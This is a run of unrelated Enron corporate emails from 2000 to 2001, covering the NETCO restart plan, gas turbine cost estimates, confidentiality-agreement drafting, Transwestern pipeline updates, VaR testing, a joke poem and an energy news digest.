To:	Colwell, Wes; Hodges, Georgeanne; Milnthorp, Rob; Zufferli, John; Hedstrom, Peggy; Myers, Thomas; Bradford, William S.; Will, Lloyd; Beck, Sally; Hall, Bob M; Presto, Kevin M.; Forster, David; Reeves, Leslie; Gaskill, Chris; Superty, Robert; Lagrasta, Fred; Luce, Laura; Tycholiz, Barry; Redmond, Brian; Vickers, Frank; Gossett, Jeffrey C.; Arnold, John; Grigsby, Mike; Allen, Phillip K.; Neal, Scott; Martin, Thomas A.; Shively, Hunter S.; Wynne, Rita; Rub, Jenny; Webb, Jay; Haedicke, Mark E.; Buy, Rick; Calger, Christopher F.; Duran, W. David; Robinson, Mitch; Curry, Mike; Heizenrader, Tim; Belden, Tim; White, Stacey W.; Steffes, James D.; Aucoin, Berney C. ; Roberts, Mike A.; Oxley, David
Subject:	NETCO

The New Year has arrived and we really to finalize a lot of the work with regards to moving into NETCO.  Obviously we still do not have a deal but the deadline is approaching and preparations need to be finalized.

The main areas to focus on over the next week are:-

(i) 	Re-start/Integration Plans (due on Jan 7)				To be forwarded to Louise	
	These plans need to be detailed and show clear detailed timelines and detailed responsibilities for getting us up and running as soon as possible.  
	The current restart date is January 21, 2001 but may be pushed forward to January 14, 2002.	
(ii)	Budget (due Jan 3, 2002)						To be forwarded to Faith Killen 
	First year budget to include all start up costs (some of which can be amortized)
(iii)	Seating Plans								Tammy Shepperd to co-ordinate
	We need to start the planning process for seating as we will be living on floors 5 & 6 of the Enron South building.
	I have asked Tammy Shepperd to commence the seating plan and we would look to start the moves as soon as possible but with a large number occuring around January 11,2002.
(iv)	Due Diligence
	We continue the process with two new companies this week (Wednesday and Thursday). Andy Zipper is taking the lead for the company arriving on Wednesday, please help him with his requirements.

I would ask that both John and I are notified of any changes to the Netco personnel list on a timely fashion and that the list is maintained on a continual basis.  Please forward all alterations to Jeanie Slone who has responsibility for the master list.

Communication - I believe that the New Year combined with a internal communication issues may be a good time to review what we want to say on Netco and what our policies are.  I am asking David Oxley to co-ordinate with all of you on this.  I know a lot of you believe that we need to only communicate once we have retention programme in place for the estate which may be a good idea but we we need to make sure that we lose as few people as possible.

If you are unavailable this week, please ensure you delegate this work out.

Happy New Year

Louise

---------------------- Forwarded by Kayne Coulter/HOU/ECT on 01/04/2001 10:06 
   
	From:  Stacey W White                           01/04/2001 09:18 AM
	
To: Samuel Schott/HOU/ECT@ECT
cc: Jenny Latham/HOU/ECT@ECT, Kayne Coulter/HOU/ECT@ECT 
Subject: Trader Access

Please assign everyone in the list below to the following trading desks:

EPMI-HRLY-SE
EPMI-HRLY-NE
EPMI-HRLY-MW
EPMI-HRLY-ERCOT

Thanks,
Stacey
---------------------- Forwarded by Stacey W White/HOU/ECT on 01/04/2001 
   
	From:  Kayne Coulter                           01/04/2001 09:20 AM
	
To: Stacey W White/HOU/ECT@ECT
cc:  
Subject: 24 Hour Books

These are all the names that need to be associated with Hourly Ercot, Hourly 
Midwest, Hourly Southeast, and Hourly Northeast.

Thanks
Kayne

From: 	Quirsfeld, Amy  
Sent:	Thursday, September 27, 2001 9:50 AM
To:	Davis, Dana
Subject:	Jedi Cash Schedule

Hi Dana,
Please let me know if you see any Linder money come in the next few days.
I'm wondering if they are going to make a Distribution this month.

Thanks.

Amy

Can you spell S-N-O-O-T-Y?

e

	From:  Ami Chokshi @ ENRON                           01/06/2000 05:38 PM
	
cc:  
Subject: Re: New deals  

Was E-R-I-C too hard to write?

a

	From:  Eric Bass @ ECT                           01/06/2000 05:32 PM
	
To: Ami Chokshi/Corp/Enron@ENRON, Kyle R Lilly/HOU/ECT@ECT
cc:  

Subject: New deals

The new deal #s are 147888,147889.

-E

This is what Scot Chambers has sent me so far.
Ben
---------------------- Forwarded by Benjamin Rogers/HOU/ECT on 02/07/2000 
10:09 AM ---------------------------

Scot Chambers@ENRON_DEVELOPMENT
02/04/2000 01:34 PM
cc:  

Ben, I have a reference document called Gas Turbine World Handbook in which I 
look up these type of answers as well for ballpark info. They are the 
"preliminary answer" to your question and should be treated as so. Please 
keep in mind that these are numbers from a magazine, not from our internal 
Performance/Cycles group under Gary Bush (within EECC). They are the dept 
that the Dev Engineer typically consults with to arrive at a project's 
capacity and efficiency, both from a new & clean standpoint and an average 
degradation standpoint. The depts within EECC/NEPCO also come up with the 
total installed costs. It is their numbers that are the ones that we 
typically bid in a proforma, as such, they are a part of the deal approval 
process (DASH). Their buy in is important because in addition to the numbers 
that OEM's provide us, they factor in experience, judgement, unique project 
characteristics, design basis, intake/exhaust losses, etc. They also look at 
the net power for the Plant, not just the equipment itself. Having caveat'ed 
these numbers, I would respond to your questions below as follows:

1. PG7241FA Capacity: 171,700 kW each @ generator terminals (ISO conditions, 
gas fired @ baseload) -- does not include auxiliaries usage, duct losses
2. 1,060 MW Net Plant @ ISO, gas fired
3. 6,040 Btu/kWh LHV @ ISO, gas fired
4. Plug figure for GTG may be $32,500,000 each. No idea on the ST, swag at 
$175/kW. Power island turnkey for 2x1 may be $375/kW (does not include alot 
of stuff such as add'l options, development costs, tie-ins, permitting, 
spares, etc, etc, etc)

Hope this is useful to you somehow, but please go to the source (described 
above) for anything that we are going to hang our hat on.

02/04/2000 09:39 AM
To: Scot Chambers/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Subject: 

With regards to our conversation yesterday, I am loking for basic economics 
regarding GE 7FA's.  Such as, 1. output per turbine; 2. output for 4 7FA and 
2 steam turbines; 3.  Heat Rates; and 4. cost per turbine and steam turbine.  
Total plant output will need to be 1000 MW's and will be run as a combined 
cycle facility.  If you could get me these numbers by the end of the day or 
call me to discuss what you currently have that would be great.  This project 
is not due till Wednesday.  Thanks
Ben

REMINDER

We have plenty of seats for Lexis CertiFinder Training tomorrow.  Please st=
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Thanks,
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=20
----- Forwarded by Sylvia Hu/Corp/Enron on 11/09/2000 05:08 PM -----

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* CertiFINDER reports run in 28 seconds on average vs. an average of two=20
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Based on internal studies conducted 4/3/00.
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500/insurance companies with an investigative unit or department dedicated =
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Thank you for agreeing to participate in Enron's first Corporate 
Responsibility Task Force meeting.  The meeting will be on Wednesday, October 
25, from 10:30 am to 1:00 pm CDT in the Enron Building, 50th floor 
boardroom.  Committee members from London may participate via video 
conference in conference room NE1003.  There is a phone number to dial in for 
those of you who will be traveling:

Domestic: 800-713-8600
International: 801-983-4017
Passcode: 9189

The meeting will begin promptly at 10:30 with introductory remarks by Ken 
Lay.  Lunch will be served for those in Houston at 11:30 a.m., and the 
meeting will wrap up at approximately 1:00 p.m.

In the event that you are unable to attend, or if you have any questions, 
please feel free to contact me at 713-853-1611, or Stacy Walker at 
713-853-3583.  We look forward to your participation. 

Now thats a ture "Pig Farmer" poem if I ever heard one.

I would have sent flowers to my beloved in Ohio if someone would have given 
me her address.

02/14/2001 11:47 AM
To: Heidi Griffith/DUB/EES@EES, Chris Germany/HOU/ECT@ECT
cc:  
Subject: 

---------------------- Forwarded by Matthew B Fleming/HOU/EES on 02/14/2001 
11:46 AM ---------------------------

Will_Cistone@notes.grainger.com on 02/14/2001 11:46:09 AM
To: Tim Cistone <TCistone@aercpa.com>, mfleming@enron.com, 
tcoynejr@coyneassociates.com, Ulbert.C@grainger.com, Keefer.C@grainger.com, 
Andersen.S@grainger.com, RGrimes@checkfree.com, "Brad Kennan" 
<braken@columbus.rr.com>
cc:  
Subject: 

         REDNECK VALENTINE!

    Collards are green,
    my dog's name is Blue
    and I'm so lucky
    to have a sweet thang like you.

    Yore hair is like cornsilk
    a-flappin in the breeze.
    Softer than Blue's
    and without all them fleas.

    You move like the bass,
    which excite me in May.
    You ain't got no scales
    but I luv you anyway.

    Yo're as satisfy'n as okry
    jist a-fry'n in the pan.
    Yo're as fragrant as &quot;snuff&quot;
    right out of the can.

    You have some'a yore teeth
    for which I am proud.
    I hold my head high
    when we're in a crowd.

    On special occasions,
    when you shave under yore arms,
    well, I'm in hawg heaven
    and awed by yore charms.

    Still them fellers at work,
    they all want to know,
    what I did to deserve
    such a purdy, young doe.

    Like a good roll of duct tape
    yo're there fer yore man,
    to patch up life's troubles
    and fix what you can.

    Yo're as cute as a junebug
    a-buzzin' overhead.
 You ain't mean like those far ants
    I found in my bed.
    Cut from the best cloth
    like a plaid flannel shirt,
    you spark up my life
    more than a fresh load of dirt.

    When you hold me real tight
    like a padded gunrack,
    my life is complete.
    Ain't nuttin' I lack.

    Yore complexion, it's perfection,
    like the best vinyl sidin'
    despite all the years,
    yore age, it keeps hidin'.

    Me &quot;n&quot; you's like a moon pie
    with a RC cold drank,
    we go together
    like a skunk goes with stank.

    Some men, they buy chocolate
    for a Valentine's Day,
    they git it at Wal-Mart,
    it's romantic that way.

    Some men git roses
    on that special day
 from the cooler at Krogers,
    that's impressive, I say.

 Some men buy fine diamonds
    from a flea market booth.
    &quot;Diamonds are forever&quot;,
    they explain, suave and couth.

    But for this man, honey,
    these won't do.
    Cause yo're too special,
    you sweet thang you.

    I got you a gift,
    without taste nor odor,
    more useful than diamonds....
    IT'S A NEW TROLL'N MOTOR!!!

June. 5 	 9:00 -  9:30 AM	EB 5C2
June. 5 	 10:00 -  10:30 AM 	EB 5C2

Global Energy Markets is an information service that gives you access to updated information and analysis whenever you need it.

Global Energy Markets provides many different news feeds and data sources in one service.  In addition, Global Energy Markets provides useful online databases for finding articles, projects and companies.

Each service is available by global region.  Services include the Americas, Asia-Pacific, Europe/CIS and the Middle East.  Each service includes four key modules.

The first core module is the energy news.  The news comes from Reuters, Dow Jones, Energy24x, BBC, AP, AFP, and others.  This is an all-in-one regional news service.  The other three modules are useful databases for finding news articles, project information and companies.  The second module is the Global Energy Projects Database.  The third module is the Global Energy News Archive.  The fourth is the Energy Companies Directory.

Seats fill up fast! To reserve a seat, please call Stephanie E. Taylor at 5-7928
Check the eSource training page at http://esource.enron.com/training.doc for additional training sessions and vendor presentations.     

Beatrice Virga
2333 Gary Ln
Tracy, CA 95377
tricebn@pacbell.net

Sincerely, Beatrice Virga

at your request, enclosed is a memo summarizing the conference call you and I 
had Friday with Ken Raisler. 

As promised, this is the memo I sent out on January on the ambiguity 
regarding "agricultural commodities" in the new law.  Lisa Yoho and I are 
working on a memo updating these issues that we hope to put out shortly for a 
larger distribution.

See attached - 

As Mike Day has indicated, we are 99% sure the CPUC will bifurcate the PX credit payment and DA suspension issues, and vote only on DA suspension on Thursday.  This gives more time to work on a SCE PX credit stipulation.  

	James D Steffes 06/24/2001 10:20 AM 	   To: Harry Kingerski/NA/Enron@Enron, Susan J Mara/NA/Enron, Robert C Williams/Enron@EnronXGate, mday@gmssr.com  cc: Steven J Kean/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron, Jeff Dasovich/NA/Enron@Enron  Subject: ATTORNEY CLIENT PRIVILEGE - CPUC Decision	

Harry & Sue --

Please work with Mike Day on Monday am to develop the following -

1.	Outline of a proposed SCE - Enron - WPTF Stipulation that resolves SCE's request for suspension of payment of PX Credit.
2.	Talking points for Jeff Skilling to call Bryson to discuss.

Get these to Skilling through Rick early Monday so that he can call.  Skilling is going to try and convince SCE to settle and not let the CPUC decide this issue.

I know it's a long-shot on getting a deal done and before the CPUC on Wednesday, but this may be our last best hope to hold this element of the Proposed Decision.

Call me on Monday am to discuss (I'll be in DC).

Thanks,

Jim

Anita,

Please, FedEx to him  the book plus reprints of my papers.
Shirley knows where they are.

Vince

"mark kierlanczyk" <mkierlanczyk@hotmail.com> on 04/18/2001 02:23:53 PM
cc:  
Subject: My address

Mark Kierlanczyk
Friedberg Mercantile Group Inc
67 Wall Street, Suite 1910
New York, NY 10005
tel 212 943 5300

Thank you, Vince, for the materials.

My best regards - Mark

Yahoo! Calendar - Get organized for the holidays!
http://calendar.yahoo.com/
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From: smiller@newsoft.com
To: Jenim24@aol.com
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Date: Fri, 10 Nov 2000 16:28:38 -0500
Subject: the next prez.
Boundary="0__=ijT6xrFCViz7F75FST3JQSwBnuBoPnZAWfk26ZydX6JdaNFly48xK3K3"

---------------------- Forwarded by Steven Miller/Newmarket Software on
11/10/2000 04:34 PM ---------------------------

Tony Costa
11/10/2000 03:28 PM

To:   Steven Miller/Newmarket Software@Newmarket Software, Craige
Hird/Newmarket
      Software@Newmarket Software, Josh Allen/Newmarket Software@Newmarket
      Software, Arthur Meyer/Newmarket Software@Newmarket Software, Arlene
      Lapanne/Newmarket Software@Newmarket Software, Kevin Thim/Newmarket
      Software@Newmarket Software
cc:

Subject:  the next prez.

(See attached file: Minibush.jpg)

 - Minibush.jpg

----- Forwarded by Richard B Sanders/HOU/ECT on 05/23/2001 04:19 PM -----

	"Pat Gillman" <PGILLMAN@schiffhardin.com> 05/16/2001 12:35 PM 	   To: <Richard.b.sanders@enron.com>  cc:   Subject: Confidentiality Agreement between CalPX and Cal. A.G.	

Richard.  This is in WordPerfect.  Let me know if you can't open it.

*****************************************************************************
The preceding message and any attachments may contain
confidential information protected by the attorney-client or other
privilege.  If you believe that it has been sent to you in error,
please reply to the sender that you received the message in
error.  Then delete it.  Thank you.

 - rasmussenconfidential.wpd 

Back By Popular Demand 
Ziff Energy Group Presents 
Gas Storage 2002 
Redefining the Fundamentals: 
Is Gas Still in the Storage Game? 
February 6 & 7 
Houston - Four Seasons Hotel 
Power drives storage, will a recession affect plant and storage facility development?  Will gas prices likewise continue to fall?
How can we afford to store gas when dealing with year-round price volatility? 
What's the bottom line comparison between high deliverability salt and reservoir storage? 
Will new technology improve storage economics? 
What new storage projects are in the works? 
Get answers to these questions and more at Ziff's annual storage conference. Hear industry leaders from across North America share their expertise and experiences as storage providers, power producers, utilities, pipelines, government and energy traders. Watch for more details, coming soon. 
If your company would like to participate as a sponsor or in project displays, please contact Debralee Fernets at (403) 265-0600 or 
e-mail us at gasconference@ziffenergy.com.  

Start Date: 1/20/02; HourAhead hour: 15;  HourAhead schedule download failed. Manual intervention required.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002012015.txt

The report named: NG - Price P/L <http://trv.corp.enron.com/linkFromExcel.asp?report_cd=10&report_name=NG+-+Price+P/L&category_cd=5&category_name=FINANCIAL&toc_hide=1&sTV1=5&TV1Exp=Y&current_efct_date=10/25/2001>, published as of 10/25/2001 is now available for viewing on the website.

---------------------- Forwarded by Rufino Doroteo/HOU/ECT on 02/09/2000 
01:49 PM ---------------------------
   
	From:  Marilyn Rivera                           02/09/2000 01:36 PM
	
To: Kelly Summers/HOU/ECT@ECT, rebeccar@bcm.tmc.edu, mmartinez@tmh.tmc.edu, 
Jessie Mata/Corp/Enron@ENRON, Mary Birmingham/HOU/ECT@ECT, Patricia K 
Dechow/HOU/ECT@ECT, Rufino Doroteo/HOU/ECT@ECT, mvillafu@houstonisd.org, 
mgongora@hlt.ci.houston.tx.us, hern1@aerial1.com, kshama.pandya@telecheck.com
cc:  
Subject: A SHOCKER

---------------------- Forwarded by Marilyn Rivera/HOU/ECT on 02/09/2000 
01:35 PM ---------------------------

Julissa Marron@ENRON
02/09/2000 11:44 AM
To: Amber Ebow/HOU/ECT@ECT, Bernice Rodriguez/HOU/ECT@ECT, Angela 
Mendez/GPGFIN/Enron@ENRON, Marilyn Rivera/HOU/ECT@ECT, Cassandra S 
Dutton/HOU/ECT@ECT, Marvia Jefferson/HOU/ECT@ECT, Faye Ellis/HOU/ECT@ECT, 
Stacey Barclay/HOU/ECT@ECT, Marilyn Colbert/HOU/ECT@ECT
cc:  

Subject:  A SHOCKER

 - junk.jpg

Due to the current business circumstances the hours to the Energizer Cafe, The Express Store, and Plaza Java will be adjusted as of Monday, December 10, 2001.  Please note the operating hours for each location below:

Energizer Cafe		Breakfast: 7:30 to 9:00 AM
			Lunch: 11:30 AM to 1:00 PM

The Express Store	8:30 AM to 3:00 PM

Plaza Java		7:00 AM to 3:00 PM

Thank you.

Kay-

I will look at your copy of the LLC regarding delegation of powers (or if I 
can't find it, I will get a copy from the Corporate Secretary's office).

The draft CA does not mention Peoples having to get their consultants to sign 
the CA, but I can put something in.

Where are you?  I talked to Carlos today and I believe he will be with us 
soon (if we can hire him).  He is anxiously awaiting your return from NY.

K-

Kay Mann
11/09/2000 09:45 AM
To: Kathleen Carnahan/NA/Enron@Enron
cc:  

Subject: Re: enovate stuff  

Hi Kathleen,

I want to get Laura Luce to direct us to give Gregg signing authority.  As 
you know, the request for Ben came from Janet, not Ben. I'll check with her.  
do you have the LLC agreement to see how changes are handled?  If not, you 
can get a copy of my copy.  It is not a standard agreement.

On the CA, please make the effective period two years from the latest 
disclosure of info, and the disclosures will be ongoing. I don't have the CA 
in front of me, but does it say that Peoples has to get their consultants to 
sign a CA as well?  It is a good question.

Ta ta for now,

Kay

	From:  Kathleen Carnahan                           11/08/2000 08:27 AM
	
cc:  

Subject: Re: enovate stuff

Kay,

Gregg posed an interesting question yesterday regarding the Confidentiality 
Agreement.  If Peoples supplies our confidential information to Arthur 
Andersen, and someone from AA tells the world our secrets, would Peoples be 
on the hook pursuant to our CA?  I guess one way we could take care of this 
would be to include Arthur Andersen on Schedule I of the CA as one of 
Peoples' Representatives.  Any thoughts?

Also, I will work on getting Gregg signing authority re his message below.

Kathleen
---------------------- Forwarded by Kathleen Carnahan/NA/Enron on 11/08/2000 
08:16 AM ---------------------------
From: Gregg Penman on 11/07/2000 04:15 PM

Kathleen - This e-mail should aid in the preparation of the Board 
Resolutions.  The attached file lists the appointment changes.  As for my 
signature authority, I am expecting that I would need to sign on behalf of 
enovate, L.L.C., Enron MW, L.L.C. and I suppose Enron North America by 
association.  The dollar amount can be set as low as practical.  I think in 
the L.L.C. agreement the Board reserves the right to approve contracts in 
excess of $50,000.  The real need is for pushing paper such as CA's, Master 
Purchase Agreements, etc.  Here is another question, if my authority is 
limited, who has the authority to sign in excess of my limit?  Laura Luce 
previously had such authority as General Manager (she is a VP at ENA).  If 
she now becomes the Board Member, can she also sign on behalf of enovate?  If 
so, is that because she is an officer of Enron MW or because she is a Board 
Member (i.e., can Peoples Board Member sign on behalf of enovate)?

----- Forwarded by Gregg Penman/Corp/Enron on 11/07/2000 03:47 PM -----

	Gregg Penman
	10/31/2000 11:50 AM
		
		 To: Kay Mann/Corp/Enron@Enron
		 cc: 
		 Subject: Re: enovate stuff

1)

3) I think we want it to apply to whatever entity employs the individuals 
with access.  Most of these people will probably Peoples Energy Corp. 
employees, but I suppose we could make it also include all of their 
affiliates.  enovate can sign the CA as well, but since enovate doesn't have 
any employees I was assuming we could use Peoples Energy as the responsible 
legal entity.

4) After 3:00 is fine, let me know for sure soon enough that I can lock Sarah 
up.

Thanks,

Gregg

	Kay Mann
	10/31/2000 11:29 AM
		
		 To: Gregg Penman/Corp/Enron@Enron
		 cc: 

1)The cybergoblins ate the attachment.
2) OK
3) Which Peoples is it?  Also, I think enovate should sign at CA.
4)  I sent Heather an email re her availability.  There's a bunch of 
construction near downtown, so I would hesitate to commit to an early call, 
but I know I'm free after 300 tomorrow.

Kay

From: Gregg Penman on 10/31/2000 11:25 AM
cc:  

Subject: enovate stuff

Kay - 

1) Attached is my quick attempt at writing something to make the management 
changes at enovate that we discussed.  Could you please review this and add 
the appropriate legal language.  I don't think that we need any Board 
approval for any of these changes, so is some type of notification sufficient?

2)  I would like to address the idea of signature authorities other than 
Laura at the same time.  My suggestion would be that Richard and myself be 
granted some level of authority to execute CA's, Master Agreements, etc. that 
have been reviewed and approved by legal.  If you can at least pull the 
template you used to get approval for the Director you mentioned and see if 
there would be any changes necessary that would be helpful.

3) I need to get the CA form for the curves and other information started.  
We can discuss this any time you want.

4) What is your availability tomorrow either 8-9:15 or after 3:00 to discuss 
the intercompany loan agreement, and will Heather be available?

I will be leaving around 2:00 for suburban trick or treating.

Thanks,

Gregg 

let me know what time
---------------------- Forwarded by Eric Bass/HOU/ECT on 01/08/2001 11:32 AM 

"Jason Bass" <jbass1@houston.rr.com> on 01/08/2001 11:10:29 AM
To: <Eric.Bass@enron.com>
cc:  
Subject: Re: My Resume

We will be there.  Name the time and which Pappasitos

To: <jbass1@houston.rr.com>
Sent: Monday, January 08, 2001 10:46 AM

Shanna and I would like to take you and Donnita to dinner
on Friday at Pappasitos.  Can you make it?

-Eric

TW Negotiated Rate Filings - We were notified by FERC this week that TW's recent negotiated rate filings are on the docket for Wednesday March 28.  The possible outcomes include 1) approval of the negotiated rates or; 2) reduction of the rate down to TW's max rate and refunding the difference back to the shippers or; 3) acceptance of the rates but directives to modify all future negotiations to some form of more standardarized rate calculation.

Conoco -  The shipper missed its ROFR notification last month.  They hold 20,000 MMBtu/d from Thoreau to Needles expiring 04/2002 and 20,000 from Blanco to Thoreau expiring 03/2003.  We will post the capacity for five business days (ending Monday 03/26 at 5 pm) because the replacing contract is for term greater than 1 year.  If other shippers come in with a request during the 5 posting days, capacity will need to be prorated or allocated in a lottery.  If requests come in after the 5 posting days, the space is sold first come first served for max rate bidders.  Mavrix is requesting this capacity through 12/2004.

Alberta Energy Co. - AEC is Canada's largest gas producer and North America's largest independent gas storage operator.  Included in their storage facilities is Wild Goose Storage near Gridley, California (north of Sacramento).  They are currently connected to PG&E and are marketing an open season to expand the facility from 14 bcf to 38 bcf (in service date of April 1, 2004).  They are asking for minimum 5 year term commitments at rack rates awarded by net present value.  This may be an opportunity for Transwestern to indirectly have an option on storage or for Mavrix to directly lease storage.

SoCal Gas Needles Expansion - TW met with SoCal Gas in Los Angeles on 3/22.  In this meeting, SoCal Gas said it would be presenting a plan to management on Monday 3/26 to expand its Line 235 capacity at Needles by 50 MMcf/d.  The $2mm expansion requires the installation of a 1,000 hp electric compressor.  SoCal Gas intends only to notify the CPUC of its planned construction but will not seek CPUC approval to include the cost of these new facilities in rates.  SoCal Gas believes it can have the new facilities in place within 8 - 10 months.  TW will continue discussions with SoCal Gas to identify additional projects to further increase take-away capacity beyond the 50 MMcf/d contemplated in this first expansion.

Agave - TW and Agave field personnel are evaluating some valve and compressor reconfigurations that may allow Agave to move up to 60,000 MMBtu/d across the 10" LEC/Atoka line.  The changes would enable high pressure field gas to avoid being compressed into the low pressure side of the Atoka lateral.  We are also considering installing a tap and meter to move some Agave gas into the Duke/Crawford system.  Duke would then re-deliver the volume into the high pressure side of the West Texas lateral.  Because the gas would be moving off TW, into Duke, then back into TW, it could subject Duke to regulation under the Natural Gas Act.  Duke is aware of the risk and is evaluating their strategy.

Lone Star - LS Pipeline representatives were in the office this week in conjunction with Gas Fair.  We described the Red Rock project and the aptitude for producers on Lone Star to reach California markets.  Lone Star realizes they need to add compression to their system to access the West Texas lateral on a consistent basis.  They are evaluating their options, including selling some "under-utilized" pipe in west Texas.  They are sending us an updated system map to see if any asset synergies exist.

US Gypsum - USG' s energy management representatives from the Chicago headquarters came to Houston to discuss the Red Rock expansion.  The have four plants in California that consume a combined 11,000 MMBtu/d off SoCal and PG&E.  Their current transport contract with PGT expires April 2002 and they are evaluating options to source supplies from areas other than Canada.  They would like a portion of Red Rock but require Needles delivery capacity (which is fully subscribed through 2005).  They are very frustrated by the lack of response from their SoCal reps in coming up with a feasible solution to expanding Needles in the short term.  We told them we would keep them updated as our expansion conversations with SoCal progress.

Enron Energy Services - EES Corporate Development is evaluating opportunities to install small (50 Mw or less) distributed generation units in the western region.  They have identified TW's Kingman compressor station site as a strong candidate because of its proximity to gas supply, an APS electric substation, and abundance of available land.  Their goal is to have something operating before summer 2001.  They are reviewing environmental permitting requirements to see if fast-tracking the installation is feasible.

TXU - We negotiated an extension of the transport contract for 20,000 MMBtu/d for a 2 year term beginning April 1, 2002.  The path is Bloomfield to Needles.  This contract was done in lieu of the shipper exercising its ROFR option under the existing agreement.

Transwestern's average deliveries to California were 1120 MMBtu/d (103%), with San Juan lateral throughput at 861 MMBtu/d and Rio Puerco at 7 MMBtu/d.  Total East deliveries averaged 350 MMBtu/d.  

El Paso's average deliveries to California were 2071 MMBtu/d (71%) :
- PG&ETop, capacity of 1140 MMBtu/d, deliveries of 478 MMBtu/d (42%)
- SoCalEhr, capacity 1248 MMBtu/d, deliveries of 1055 MMBtu/d (85%)
- SoCalTop, capacity 539 MMBtu/d, deliveries of 538 MMBtu/d (100%)

Friday's posted Gas Daily prices:
-SoCal gas, large pkgs	 10.995
-PG&E, large pkgs	   5.97
-TW San Juan		    n/a 
-TW Permian		   4.85

Friday's Enron Online bases:
		Apr-Oct			Nov-Mar		
Perm-CA	5.24			4.43
SJ - CA		5.72			4.25  
SJ-Waha	  .29			  .28
Perm-Waha	  .07	 		  .10

You have received this email because the requester specified you as their 
Manager. Please click 
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000011185&Page=

Request ID          : 000000000011185
Request Create Date : 12/21/00 4:20:10 PM
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[IMAGE]

Ted,
         An update on the implementation for FFVols:
                  (1) In comparing 6 days of historical Var calculations 
(with that of the implied) for Agg-Gas, we have found that the Historical VaR 
calculations are consistently lower over this period, by roughly 17 MM.  The 
implied volatilities are much higher at this period, anticipating strong 
winter prices.
                  (2) At this time, the consensus is not to relase the 
historical implementation into production, and the official line to traders 
will be that the method is still in testing.  The historical VaR is 19.2MM 
and the implied is 37 MM for effective date of 09/25.    
                  (3) Further testing is in progress on a hybrid methodology 
(which I mentioned last week, whereby historical vols are scaled by the ratio 
of prompt to historical-prompt volatilities), to atleast  capture some 
implied/forward effects.  Tanya's analysis on a  fictitious portfolio 
indicates higher VaR numbers, but poorer backtesting in comparison to the 
historical approach.  This approach serves as an intermediate, and seems 
appropriate in periods such as the current one, wherein the historical 
numbers might be considerably lower than those of the implied.
               (4) Winston will start  testing using these hybrid vols, and 
if the results are deemed satisfactory, that will be the production 
methodology.

Of course, we will obtain all VaR numbers concurrently to serve as different 
indicators and beacons of risk.  The production number will hopefully be a 
sensible compromise of the different methods. 

Regards
Naveen

stories.

THE ENERGY INFO SOURCE TRANSMISSION REPORT (December 2000 Edition)
* Detailed Analysis of October 15th RTO and ISO Filings
* Transcos and Gridcos
* Maps of Transco and RTO areas
* Much, much more.
http://www.pmaconference.com/Transmission.pdf

FINANCIAL TIMES NORTH AMERICAN ELECTRIC POWER SYSTEM WALL MAP
Special Holiday Offer-- $100 Off if Ordered by New Years!

MANAGING THE RISK OF RETAIL OPERATIONS -- January 18-19, 2001, Orlando
http://www.pmaconference.com/retailrisk1.18.pdf

NUCLEAR ASSET DIVESTITURE -- Jan 30-Feb 1 , New Orleans
http://www.pmaconference.com/nuc-ebro.pdf

POWER MARKETS 2001 --MARCH 14-16, 2001 LAS VEGAS, NEVADA
>>>> Now Available: Exhibition Space and Sponsorships

Top Stories (December 26)

STATE COMMISSION ORDERS WILKES BARRE, PENNSYLVANIA-AREA UTILITY TO HIKE 
GENERATION RATE
In an effort to spur competition, the state Public Utility Commission 
Wednesday approved a subtle change to how UGI Utilities bills its electricity 
dder/2000/12/25/krtbn/0000-0097-WB-UTILITY

PUC PUTS NEW RESTRICTIONS ON UTILITY MERGER
State regulators have approved an agreement setting additional terms for 
Sierra Pacific Resources' $3.1 billion acquisition of Portland General 
Electric of Oregon.
http://199.97.97.163/IMDS%PMANAT0%read%/home/content/users/imds/feeds/lvrj/200
0/12/26/eng-lvrj_business/eng-lvrj_business_072004_12_6689333212562

NORTH CAROLINA MUNICIPAL-POWER TRADE GROUP URGES HALT OF DEREGULATION EFFORTS
The controversy this year over electric deregulation in California and other 
parts of the country has led to a major policy reversal for the organization 
representing High Point and the other 50 North Carolina towns and cities in 
the electric distribution business.
dder/2000/12/25/krtbn/0000-0034-HP-ELECTRIC

PSEG, MARUBENI BUY SITHE'S STAKE IN TUNISIAN POWER PLANT
Public Service Enterprise Group Inc. and Marubeni Corp have bought Sithe's 
interest in a 471-megawatt power plant under development in Rades, Tunisia, 
PSEG said Tuesday.
http://199.97.97.79/IMDS%PMADJN0%read%/home/content/users/imds/feeds/djn/2000/
12/26/eng-djn/eng-djn_144036_87_3467169469222

CHINA TO BUILD MORE NATURAL GAS POWER PLANTS
China will build a number of power projects fueled with natural gas in the 
2001-2005 period, according to the State Power Corporation.
http://199.97.97.163/IMDS%PMAINTL0%read%/home/content/users/imds/feeds/comtex/
2000/12/26/au/0000-1139-.dstenergy_05

Energy Sector Up -3: Gas Storage Down 23% From Last Year

Energy Sector Up -2: Investors Expect Tight Inventories

Four Teen-Agers Being Questioned About Calif Wildfire

Energy Sector Up As Cold Winter Ushers In High Hopes

PSEG, Marubeni Buy Sithe's Stake In Tunisian Pwr Plant

Peabody Sells Australia Coal Mines To Rio Tinto For $555M

Southern California Wind Fans Wildfires, Cuts Power

AES Gets Sell Orders From 80% Of GenerChile Hldrs-Report

California Utility Nears Deal To Buy Private Water - NYT

Enron Intl Appoints CSFB To Find Dabhol Pwr Proj Partner

Winds Fan Southern California Wildfires, Cut Power

Center Of US Gets An Icy Christmas

N A T I O N A L

Representatives of the California Small Business Association Available for 
Comment Surrounding Energy Crisis And Upcoming California Public Utilities 
Commission Hearing

Top Energy Summaries - Tuesday, December 26, 2000 - 5:07 PM

Bridge Update-Commodities: Frigid Weather Gives Lift to Energy

Real Energy Costs

Media Statement And Availability Surrounding California's Electricity 
CrisisCalifornia Chamber of Commerce And California Business Roundtable Call 
Reliable Electric Service Critical to State's Economy; Urge Immediate Cpuc 
Action to Protect Solvency of State's Utilities

Williams Says Q4 to Beat Street on Strong Energy ...

Pressure to Liberalize Electric Power Rates

Power Failure

PetroQuest Energy Acquires Interest in Ship Shoal Block

Top Energy Summaries - Tuesday, December 26, 2000 - 2:29 PM

Rgs Energy Unit Files $400 Million Debt Shelf (Rgs)

No Signs of Let Up in Energy: 12:30 P.M. EST

Wild Open Market Entices Power Plant

Petroquest Energy Acquires Interest in Ship Shoal Block 72 Field

Sure Power Names Whit Allen Vice President of Sales; Former Lucent, at&T 
Global Sales Veteran to Lead Business
Development for Pioneering High-Availability Power Company

